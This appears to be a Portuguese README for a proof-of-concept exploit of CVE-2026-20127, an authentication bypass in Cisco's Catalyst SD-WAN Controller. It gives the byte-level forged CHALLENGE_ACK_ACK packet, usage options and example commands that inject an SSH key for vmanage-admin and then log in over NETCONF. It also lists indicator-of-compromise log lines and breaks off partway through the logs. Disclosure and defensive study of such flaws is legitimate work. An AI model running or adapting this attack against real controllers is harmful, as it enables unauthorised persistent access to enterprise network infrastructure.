CVE-2026-20127

Visão Geral

Um exploit para a vulnerabilidade de bypass de autenticação no Cisco Catalyst SD-WAN Controller, CVE-2026-20127.

Este exploit tem como alvo o handler vbond_proc_challenge_ack_ack(). Ele envia uma mensagem CHALLENGE_ACK_ACK forjada (msg_type=10) com um byte verify_status=1 controlado pelo atacante, forçando diretamente o servidor a definir authenticated=1 na entrada do peer.

Como funciona

No handshake normal do plano de controle DTLS:

1. O cliente conecta via DTLS com um certificado
2. O servidor envia CHALLENGE (msg_type=8)
3. O cliente responde com CHALLENGE_ACK (msg_type=9) contendo dados do certificado
4. O servidor verifica o certificado e envia CHALLENGE_ACK_ACK (msg_type=10) com verify_status=1

Este exploit faz um curto-circuito no fluxo:

1. O cliente conecta via DTLS com um certificado autoassinado
2. O servidor envia CHALLENGE
3. O cliente envia CHALLENGE_ACK_ACK (msg_type=10) com verify_status=1 diretamente
4. O vbond_proc_challenge_ack_ack() do servidor lê verify_status do corpo da mensagem — isto é controlado pelo atacante
5. Como verify_status != 0, o servidor define authenticated=1 (*(BYTE*)(a2+70) = 1)

A barreira de autenticação em vbond_proc_msg() isenta o msg_type=10 das verificações de autenticação, então isso funciona mesmo que o peer ainda não esteja autenticado.

Testado com sucesso contra Cisco Catalyst SD-WAN Controller (também conhecido como vSmart), versão 20.15.3.

Testado sem sucesso contra um Cisco Catalyst SD-WAN Controller (também conhecido como vSmart) corrigido, versão 20.12.6.1.

Uso

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Exemplo

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

A captura de tela a seguir mostra a exploração bem-sucedida e o subsequente acesso SSH ao serviço NETCONF:

Detalhes Técnicos

A função vulnerável: vbond_proc_challenge_ack_ack()

Localizada no endereço 0x38AB7 no vdaemon (20.12.5). A função processa mensagens CHALLENGE_ACK_ACK recebidas e possui estas verificações principais:

1. Verificação de duplicidade (a2+112): Rejeita se um CHALLENGE_ACK_ACK já foi processado para este peer. Na primeira vez, este contador é 0 → passa.
2. Rejeição de vBond (a1+8 == 4): Retorna 20 se o dispositivo local for um vBond. Temos como alvo o vSmart (type=3) → passa.
3. Criação de timer: Cria hello-timer e expiry-timer. Improvável falhar → passa.
4. verify_status (a3+32): Lê o primeiro byte do corpo da mensagem. Se zero → caminho de rejeição (exclusão do peer). Se não-zero → define *(BYTE*)(a2+70) = 1 (autenticado).

A falha crítica: verify_status vem diretamente do corpo da mensagem controlado pelo atacante, sem validação no lado do servidor. A função confia na afirmação do peer sobre o status de verificação.

A isenção da barreira de autenticação

Em vbond_proc_msg(), a barreira de autenticação que bloqueia peers não autenticados de enviar a maioria dos tipos de mensagem isenta explicitamente o msg_type=10 (CHALLENGE_ACK_ACK). Isso é necessário para o fluxo legítimo do protocolo (o servidor envia ACK_ACK ao cliente antes que a autenticação seja concluída), mas também permite que um atacante envie um ACK_ACK forjado ao servidor.

Formato do pacote

O exploit envia uma mensagem de 14 bytes:

Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOCs

Neste exemplo, o alvo era um Cisco Catalyst SD-WAN Controller (também conhecido como vSmart), versão 20.15.3. O alvo tinha um endereço IP de 192.168.86.166 e o atacante tinha um endereço IP de 192.168.86.35.

O arquivo de log /var/log/vsyslog registrou estas mensagens:

Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

O arquivo de log /var/log/vdebug registrou estas mensagens: